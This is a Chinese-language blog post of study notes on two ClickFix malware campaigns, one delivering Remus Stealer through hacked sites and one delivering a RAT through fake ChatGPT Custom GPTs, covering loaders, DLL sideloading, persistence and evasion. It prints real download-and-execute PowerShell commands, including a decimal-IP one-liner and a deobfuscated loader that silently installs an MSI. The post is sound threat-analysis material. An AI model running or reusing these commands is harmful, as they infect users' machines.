ClickFix攻击活动学习

近期又拜读了两篇博客,一篇是 SpiderLabs Blog(蜘蛛实验室博客)的Inside PhantomPolia: Remus Stealer Delivery via Donut Shellcode in ClickFix Campaign(2026-10-7),另一篇是 Huntress 官方博客 的Attackers Abuse ChatGPT Custom GPTs to Deliver RAT via ClickFix(2026-9-28),原文见文末链接。
本文是我的学习笔记,技术事实以原报告为准。

一、背景:让用户自己感染自己

ClickFix 不是某一款具体病毒,而是一套成熟的恶意代码投递攻击框架与社会工程学手法。它的核心逻辑是:不依赖软件漏洞,而是靠伪造 “人机验证、系统报错、内容加载失败” 等常见界面,诱骗用户手动复制粘贴并执行恶意命令,借用户自身权限完成恶意代码落地,因此能轻松绕过浏览器沙箱和传统文件型杀毒软件的检测。

二、第一种场景:基于被攻陷的网站

第 1 阶段:访问被黑网站,触发 PhantomPolia 加载器(JavaScript 层)

SpiderLabs Blog(蜘蛛实验室博客)中提到攻击者先入侵了一批正常网站,在网页源码里偷偷嵌入一段名为 PhantomPolia 的恶意 JavaScript 代码。
用户只要正常打开这个网站,浏览器就会自动运行这段代码。它本身不直接破坏系统,只做一件事:去区块链上读取加密配置,在本地解密出第二阶段的服务器地址。
PhantomPolia通过公共远程过程调用(RPC)端点从以太坊 Sepolia 智能合约中获取加密配置。加载器随后利用 PBKDF2 和 AES-GCM 在本地解密配置,揭示下一阶段的命令与控制(C2)域,而不会直接暴露在被攻破的站点。

RPC 端点:访问区块链的公共接口,相当于 “查询区块链的公共窗口”。恶意脚本通过这些免费的公共接口读取合约数据,不需要自己搭建区块链节点。

以太坊 Sepolia 测试网:以太坊是主流区块链平台,Sepolia 是官方给开发者免费测试用的 “实验链”。攻击者把加密后的服务器地址存在这条链上的智能合约里,借公共基础设施藏自己的行踪。

智能合约:区块链上一段自动运行、永久存证的小程序。这里攻击者把它当 “加密公共留言板”:所有人都能读到加密数据,但只有持有解密密钥的恶意脚本才能看懂真实内容。

本地解密过程
脚本从合约拿到加密数据后,会在用户浏览器本地完成解密,全程不暴露明文地址:

  1. 用 PBKDF2 算法,把脚本自带硬编码的 “密码素材” 和区块链返回的 “盐” 混合,经过 10 万次运算,生成真正的 256 位解密密钥。
    • PBKDF2:一种 “密钥拉伸” 算法 —— 把一个短密码反复哈希运算很多次,生成高强度的长密钥,运算次数越多,暴力破解越难。
    • 盐(Salt):加密时加入的随机数据,相当于 “给加密加佐料”。哪怕密码相同,盐不同,最终生成的密钥也完全不同,防止批量破解。
  2. 用 AES-GCM 算法解密密文,生成 Base64 编码域。
    • AES:全球通用的对称加密算法(加密、解密用同一把钥匙),银行、网银系统都在使用。
    • GCM 模式:AES 的高级工作模式,既能加密数据,又能校验数据是否被篡改,安全性很高。
    • IV(初始化向量):加密时的随机初始值,保证 “同样的内容 + 同样的密钥”,每次加密结果都不一样,避免安全人员通过密文规律反推内容。

将解码后的域与硬编码的脚本路径结合,构建下一阶段JavaScript负载的URL,转为ClickFix诱饵网站,诱使受害者执行PowerShell命令。

第 2 阶段:ClickFix 钓鱼页面投递(第二阶段 JavaScript)

第二阶段脚本先给访客 “摸底画像”:获取用户的 IP 地址、所在国家、浏览器与系统版本,生成专属 ID 并发给攻击者服务器登记。
服务器确认目标后,返回编码后的内容,在浏览器上渲染出 ClickFix 钓鱼验证页面。
这个页面会伪装成 “人机验证”“安全检查”,诱导用户按 Win+R 打开运行窗口,复制粘贴一段 PowerShell 命令并回车执行。
常见命令结构如下

1
powerShell.exe -w h -ep bypass -c "iex((iwr '{domain}/check/update.ps1'-UseBasicParsing -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/144.0.0.0').Content)"

第三阶段: PowerShell 执行 (update.ps1)

用户把这段命令粘贴到运行窗口并回车后,系统会在完全隐藏的状态下,从攻击者服务器远程下载恶意脚本,并且不保存到硬盘、直接在内存中执行。全程用户看不到任何弹窗,也找不到可疑文件,后台就完成了下一阶段木马的加载。
update.ps1 脚本作为 PowerShell 执行链的一部分执行多个功能:

  1. 初始下载——使用请求特定的$id、$nonce和 $ts参数执行HTTPS请求,并结合重试逻辑和WindowsPowerShell用户代理,以获取下一阶段的PowerShell脚本。
  2. 密钥检索——向攻击者控制的服务器请求解密密钥,SHA-256对UTF-8编码密钥进行哈希,生成256位AES密钥。
  3. AES-CBC解密——用Base64解码加密内容,前16字节用作IV,其余字节作为密文处理,并使用带有PKCS#7填充的AES-256-CBC解密。
  4. 远程有效载荷检索——解密后的PowerShell阶段定义可执行文件名,并将下载的负载写入Windows临时目录(%TEMP%)。

第 4 阶段:AutoIt 脚本执行

下载的 EXE 并不是木马本身,而是AutoIt 解释器 + 恶意脚本的捆绑包。运行后会释放一个 .au3 后缀的脚本并执行:

  1. 脚本内藏着一大段 Base64 编码的加密数据;
  2. 调用 Windows 系统自带的 CryptoAPI 加密接口 解密数据,得到 Shellcode;
  3. 调用 VirtualAlloc 系统函数,申请一块 “可读、可写、可执行” 的内存空间;
  4. 把解密后的 Shellcode 复制进内存,调用 CreateThread 创建线程,直接在内存里运行代码。

整个过程木马程序完全不写入硬盘,只存在于内存中,传统的文件型杀毒软件扫描硬盘时无法发现。

AutoIt:一款合法的 Windows 自动化脚本工具,原本用于软件测试、批量操作。因为它可以直接调用 Windows 系统 API,又能打包成独立 EXE,常被攻击者用来加载 Shellcode。

第 5 阶段:Donut 打包的 Shellcode

上一步解密出的 Shellcode,是用 Donut 工具打包处理过的。
Donut 可以把原本的 DLL/.NET 程序转换成纯 Shellcode,这样就能直接在内存里运行,不需要把 DLL 文件写到磁盘上。这段 Shellcode 在内存中自解压,最终加载出真正的有效载荷:Remus Stealer 窃密木马。

Donut:一款公开的知名工具,专门把 Windows 可执行程序(EXE/DLL)转成独立 Shellcode,原本供安全研究人员做渗透测试使用,被攻击者用来实现免杀和无文件攻击。
无文件攻击(Fileless Attack):恶意程序全程只存在于内存中,不在硬盘上留下可执行文件,传统基于文件扫描的杀毒软件几乎无法检测。

第 6 阶段:Remus Stealer 窃密木马运行

木马启动后,先和攻击者的 C2 服务器完成三步 “通信握手”,随后全面收集电脑中的敏感数据,加密后回传给攻击者。

通信三步流程

  1. 注册请求:木马向服务器发送活动 ID、时间戳、主机硬件指纹(HWID),告知服务器 “主机已上线”。
    • C2 服务器(指挥控制服务器):攻击者的 “总指挥部”,用于管理所有受害主机、下发指令、接收窃取的数据。
    • HWID(硬件指纹):根据电脑 CPU、主板等硬件信息生成的唯一编号,用于区分不同受害主机。
  2. 令牌分配:服务器返回一个 access_token(访问令牌),相当于 “临时身份证”,后续所有通信都携带该令牌验证身份。
  3. 数据上传:木马把窃取的所有数据压缩、加密后,通过网络请求发给服务器。

窃取的数据范围

  • 系统信息:Windows 版本、CPU / 显卡配置、已安装杀毒软件、IP 地址、时区等;
  • 浏览器数据:Chrome、Edge、火狐等所有主流浏览器保存的密码、Cookie、浏览记录;
  • 加密货币钱包:比特币、以太坊等 20 余种钱包的私钥、助记词;
  • 密码管理器:1Password、Bitwarden、KeePass 等几十种密码管理器的数据;
  • 其他软件:Telegram、AnyDesk、FTP 工具、VPN 的账号密码;
  • 二次验证器:谷歌验证器等 2FA 工具的数据;
  • 屏幕截图:窃取数据时同步截取全屏画面一并发送。

数据加密方式

窃取的数据先用自定义 LZ77 算法压缩缩小体积,再用 ChaCha20 流加密算法 加密。
一个特殊的设计是:攻击者把 ChaCha20 的密钥和随机数(Nonce)直接附在加密数据末尾,安全人员只要捕获到网络流量,就能直接解密查看窃取的内容。

三、第二种场景:基于定制GPT

这次的场景主要是借助于像Claude、ChatGPT和Grok这样的AI模型的流行与一个合法的 ChatGPT 功能:定制 GPT。定制GPT允许用户为特定目的构建个性化版本的ChatGPT,从而包含相关的指令、知识文件和工具。这些网站都存在于合法 ChatGPT.com 网站上,网页顶部会显示自定义GPT名称,下面是开发者的个人资料。攻击者利用ChatGPT 自定义 GPT 作为社工入口,大大降低了受害者的怀疑程度,属于 AI 平台滥用社工攻击。

整体攻击链路(7 大阶段):
入口(社工诱饵)→ ClickFix 诱导执行 → PowerShell 多层混淆 → MSI 安装包落地 → DLL 侧加载执行恶意 DLL → 从伪装载体文件提取 Shellcode → 解密自制加密文件系统,执行 RAT、建立持久化

阶段 1:诱饵投递:恶意 Custom GPT(社工入口)

  1. 攻击者创建命名为Plus 5.6的恶意自定义 GPT,伪装成官方 ChatGPT 模型,投放谷歌付费搜索广告,广告排在搜索结果顶部,把受害者引流到chatgpt.com域名下的恶意 GPT 页面(域名是 OpenAI 官方域名,HTTPS 证书合法,提升欺骗性)。
  2. 用户任何提问,GPT 固定返回伪造服务可用性告警,谎称主域名故障,提供一个 “备份域名” 链接,指向托管在 Google Sites 的钓鱼页面。
  3. Google Sites 页面伪装成 Cloudflare 人机验证页面,就是ClickFix 诱饵页,欺骗用户复制 PowerShell 命令,粘贴到 Win+R 运行窗口执行。
  4. OpenAI 下架第一个恶意 GPT 后,攻击者短时间内上线替换的新 GPT;同时还新增独立恶意域名gptverification[.]com投放 ClickFix 页面,不依赖 Google Sites。

阶段 2:ClickFix 触发,PowerShell 执行

1
powershell.exe -ExecutionPolicy Bypass "irm 1614733393/12 | Out-File $env:temp\1777.ps1;& $env:temp\1777.ps1"
  1. 十进制数字 IP 1614733393等价于点分 IP96.62.224.81;Windows 原生支持十进制 IP 解析,很多安全规则只匹配点分格式 IP,可绕过简单网络过滤。
  2. 命令使用irm(Invoke‑WebRequest)下载脚本,写入%TEMP%临时目录随机命名 ps1 脚本,随后执行。
  3. 下载下来的 ps1 是第一层混淆:由大量负整数数组构成,27000 + 字符,脚本运行时给每个数字加上固定偏移1520498还原字符,使用[scriptblock]::Create内存执行,还原后的代码不会落盘。
  4. 第二层混淆:脚本内部所有字符串(下载地址、API 函数名)再次使用第二个密钥6178128编码,几乎无明文特征,规避静态查杀。
  5. 解密完成后,脚本静默下载恶意 MSI 安装包,文件名是随机 GUID 前缀,如ISOSimple.msi;调用msiexec /qn /norestart无窗口静默安装,脚本执行结束后自删除。
    去混淆的代码如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    # 启用TLS1.2
    $ServicePointManagerType = [System.Type]::GetType("System.Net.ServicePointManager, System")
    if ($ServicePointManagerType) {
    try {
    $ServicePointManagerType.GetProperty("SecurityProtocol").SetValue(
    $null,
    [Enum]::Parse([System.Net.Type]::GetType("System.Net.SecurityProtocolType, System"), "Tls12")
    )
    }
    catch {}
    }

    # 新建WebClient对象,用来下载文件
    $webClient = New-Object -TypeName Net.WebClient
    # 下载地址:十进制IP 1614733393
    $url = "http://1614733393/app/afafa98279c9/ISOSimple.msi"
    $fileName = "ISOSimple.msi"
    # 在系统临时目录生成【随机GUID名字 + 下划线 + 原文件名】
    $savePath = [IO.Path]::Combine($env:TEMP, [guid]::NewGuid().ToString('n') + "_" + $fileName)

    # 调用DownloadFile方法把MSI下载到临时目录
    $webClient.DownloadFile.Invoke($url, $savePath)

    # 调用msiexec静默安装这个MSI
    $msiExe = $env:SystemRoot + "\System32\msiexec.exe"
    $arguments = "/i `"$savePath`" /qn /norestart"
    Start-Process -FilePath $msiExe -ArgumentList $arguments -WindowStyle Hidden -PassThru

    # 清理临时标记文件(_ST环境变量指向的文件)
    if ($env:__ST) {
    Remove-Item -LiteralPath $env:__ST -Force -ErrorAction SilentlyContinue
    }

阶段 3:恶意 MSI 安装包落地(V1 版本 ISOSimple.msi)

  • MSI 对外伪装成打印机工具Advanced Printer Configuration Reader,设置ARPSYSTEMCOMPONENT=1,不在控制面板 “程序和功能” 列表显示,用户很难发现安装痕迹。
  • MSI 内置大量看似无害的文件:完整合法.NET5 运行库、示例资源文件,真正恶意文件只有 8 个。
  • 安装结束立刻自定义动作启动**带有 Canon 官方数字签名的正常程序COTFileReadApp.exe**。
    文件名 文件性质 在攻击链中的作用
    COTFileReadApp.exe 合法白文件(Canon 数字签名) 来自 Canon CaptureOnTouch 的正常程序,作为 DLL 侧加载的宿主进程。安装完成后由 MSI 自定义动作自动启动。
    COTFileReadApp.dll 合法白文件(Canon 原生代码) Canon 程序的配套 DLL,负责加载日志库 ceiinfolog.dll,是触发侧加载的入口。
    ceiinfolog.dll 被篡改的合法 DLL(签名已剥离) 原本是 Canon 的日志库,被攻击者修补:保留了原版导出函数和 PDB 调试路径,但导入表被新增了一项 rdCore.dll!instance_levels_,导致加载时自动带出恶意 DLL。
    rdCore.dll 纯恶意 DLL(无签名)核心加载器 版本信息伪装成 Polly 7.2.3(一个流行的.NET 容错库),实际是 C++/CLI 原生代码。负责从.wav 文件中提取并解密 Shellcode。
    WPFLocalizeExtension.dll 纯恶意 DLL(无签名) 盗用开源 WPF 本地化库的文件名,实际是原生代码,导出 split_parameters、Language、Mail 等函数,为 Shellcode 分配可执行内存并创建线程。
    WMPCL.dll 纯恶意 DLL(无签名) 由 rdCore.dll 在载荷运行前加载的辅助 DLL,配合完成内存解密与执行。
    Common.Integrator.Preview.wav 伪装载体文件 表面是一个标准 WAV 音频文件(16 位立体声 PCM,22050Hz),开头是真实音频数据,但在偏移 0x24362 处之后被覆盖为加密的 Shellcode 载荷(341,395 字节)。
    monitor.raw 自制加密归档 攻击者自定义的加密文件系统(类似自制加密 zip),包含 1128 个条目(315 个文件夹、806 个文件)。内部藏有持久化脚本和最终 RAT Shellcode(@input,1.58MB)。

重点:即使 Defender 识别并隔离ISOSimple.msi,只要 MSI 已经运行完毕,持久化项已经写入系统,隔离 MSI 文件无法清除已植入的威胁。

阶段 4:DLL Sideloading(DLL 侧加载)突破

  1. COTFileReadApp.exe(Canon 签名,白文件)会正常加载同目录下的ceiinfolog.dll(Canon 原本的日志库)。
  2. 攻击者提供被修补篡改的 ceiinfolog.dll:保留原版导出函数、调试 pdb 路径、编译时间,但是移除数字签名,修改导入表,强制依赖恶意无符号 DLL rdCore.dll。
  3. Windows 加载 DLL 时会优先读取程序自身目录的 DLL;只要加载ceiinfolog.dll,操作系统自动加载依赖项rdCore.dll,恶意代码在合法签名进程空间运行,极大规避安全软件告警。
  4. 配套还有伪装名称的辅助恶意 DLL:WPFLocalizeExtension.dll、WMPCL.dll。

V2 版本变体:全部替换为 **Stardock 签名程序DeElevate64.exe**,修补对应的DeElevator64.dll,恶意 DLL 名字同步更换,攻击逻辑完全不变,仅更换白签名载体。

阶段 5:从伪装载体文件提取 Shellcode

  • V1:载体文件Common.Integrator.Preview.wav,具备标准 WAV 音频头,开头部分是真实音频数据;偏移0x24362之后,音频数据被覆盖为加密载荷。
    • 不是传统隐写,直接把密文覆盖音频后半段,文件工具识别为 wav,欺骗基于文件后缀 / 文件头的自动化扫描工具。
    • rdCore.dll定位该 wav 文件,读取指定偏移的数据,使用多变量滚动 XOR 算法解密,得到 x64 位置无关 Shellcode。
  • V2 变体:不再用 wav,把载荷藏在微软 NuGet 包文件Build.dat的压缩段内,混淆效果更强。

阶段 6:Shellcode 加载器执行(大量对抗 EDR / 沙箱)

解密出来的原始 shellcode 没有任何可读字符串,全部字符串运行时在栈上动态解密,能力包括:

  1. AMSI Bypass:绕过 Windows 反恶意软件扫描接口,阻止安全产品内存脚本检测。
  2. ntdll 解钩子(unhooking):重新映射干净 ntdll,绕过 EDR 对系统 API 的监控钩子。
  3. 反虚拟机检测:检测 VMware、VirtualBox、Hyper‑V、QEMU 等虚拟机驱动和服务,沙箱环境改变行为。
  4. 内存加载.NET 运行库,不需要落地.NET 程序集。
  5. 弹出虚假LOADING...窗口迷惑普通用户。
  6. 寻找本地的自制加密归档文件:monitor.raw(V2 为execute_engine_disconnect.raw)。

阶段 7:解析自制加密文件系统,部署持久化 + RAT

monitor.raw是攻击者自制的加密文件系统(自定义类 zip 归档),不是标准压缩格式:

  1. 内部包含 1128 个目录 / 文件条目,共 315 文件夹,806 个文件;索引和每个文件均使用主密钥 + 盐 + 单字节 XOR 加密,没有密钥无法解析。
  2. 归档内置一套攻击者自研脚本语言:实现双机制持久化
    • 注册表 HKCU Run 启动项
    • 计划任务
    • 两者统一命名(V1:Canon Configuration Reader,V2:Stardock DeElevation Tool);脚本会定时(Run 每 150 秒,计划任务每 875 秒)检测,一旦持久化项被删除会自动重建。
    • 清除注意:必须先终止恶意进程,再删除注册表和计划任务,否则会瞬间复原。
  3. 归档内部@input资源:最终 RAT 完整 Shellcode,内存直接执行。

RAT(远控木马)核心能力

  1. 主机侦察:WMI 查询杀毒软件、系统版本、网络适配器、端口、已安装软件、硬件指纹(同时作为反 VM 标识)。
  2. 远控能力:远程桌面、屏幕广播、摄像头 / 麦克风录音录像;内置文件管理器,支持全盘文件内容搜索。
  3. 载荷投放:可以内存或磁盘落地执行 EXE/DLL/MSI/PowerShell/BAT/ZIP 等各类恶意样本。
  4. C2 通信:使用**DoH(DNS‑over‑HTTPS)**,向 Cloudflare/Google/Quad9 做 DNS 查询,DNS 解析流量不出现在本地 DNS 日志;C2 地址不在本地文件中,运行时获取。
  5. 还会释放第三方合法签名程序GOMCam2024.exe,启动带临时配置文件的 Chrome 浏览器作为后续行为载体。

总结

相同点

  1. 核心社工模式完全一致(ClickFix 本质)
    • 依靠钓鱼页面欺骗用户手动复制 PowerShell 命令,Win+R 运行;
    • 利用用户主动执行,绕过浏览器沙箱、网页防护;
    • 欺骗话术大多伪装成人机验证、Cloudflare 验证。
  2. 初始载体都是 PowerShell
    • 使用 powershell 原生参数 -w hidden / -ep bypass 隐藏窗口、绕过执行策略;
    • 使用 iwr/irm 从攻击者服务器拉取远程脚本;
    • 大量使用字符串混淆、数组编码,规避静态检测。
  3. 多层链式加载、多阶段解密
    不是一次性落地完整木马,分多阶段下载、解密、加载,前一阶段只负责拉起下一阶段载荷,增加溯源和检测难度。
  4. 大量依赖系统原生白组件(LOLBins)
    原生 PowerShell、.NET、系统 API,利用白程序执行恶意逻辑,降低 EDR 告警概率。
  5. 流量伪装
    伪造正常浏览器 UA,模拟正常网页访问流量,规避简单流量检测。
  6. 目标:Windows 终端用户
    针对普通 Windows 用户,以窃取信息 / 控制主机为目标。
对比 LevelBlue:PhantomPolia + Remus Stealer Huntress:ChatGPT Custom GPT + RAT
社工入口 / 诱饵 被攻陷的网站、恶意 JS 钓鱼页面;没有依赖 AI 平台;使用区块链 Sepolia 死信箱(dead drop resolver)解析 C2 地址 滥用 ChatGPT 自定义 GPT + Google 广告引流; 诱饵页面托管在 Google Sites;无区块链死信箱;直接硬码C2 / 下载地址
初始 PowerShell 行为 无文件攻击:下载脚本后直接iex内存执行,不落地文件到磁盘 落地型攻击:下载脚本后,下载恶意 MSI 包保存到 % TEMP%,调用msiexec静默安装
中间载荷载体 AutoIt 脚本 → Donut 打包 Shellcode;Donut 用来把 PE 转为位置无关 Shellcode MSI 安装包(177 个文件,大量.NET5 白文件稀释恶意文件) 依靠DLL 侧加载(DLL Sideloading),使用厂商签名程序作为宿主
白宿主 无厂商签名宿主,Donut 直接内存加载 Canon(V1)/Stardock(V2)合法签名 EXE,篡改配套 DLL 实现侧加载,白进程承载恶意代码
载荷藏匿方式 Shellcode 直接由 Donut 生成,内存执行 Shellcode 藏在伪装文件里:V1 藏在 WAV 音频后半段;V2 藏在 NuGet Build.dat;额外存在自定义加密归档monitor.raw
最终恶意样本 Remus Stealer,窃密类木马;功能:窃取浏览器密码、加密货币钱包、凭证 全功能 RAT 远程控制木马
持久化 AutoIt 内存执行,没有自修复持久化机制 双路持久化:注册表 Run + 计划任务;内置脚本定时校验、自动恢复持久化项,删除后会自动重建
对抗手段 JS 混淆、Donut 壳、区块链死信箱隐匿 C2 PowerShell 双层整数数组混淆、DLL 侧加载、AMSI Bypass、ntdll unhook、反虚拟机、自定义加密文件系统
IOC 变更方式 更换 C2 地址、更换 JS 加载器 更换签名厂商(Canon→Stardock)、更换载体文件名、更换加密密钥,RAT 主体不变
痕迹特点 磁盘落地痕迹少,偏向无文件 会在 % LOCALAPPDATA% 释放一堆文件,存在大量磁盘文件痕迹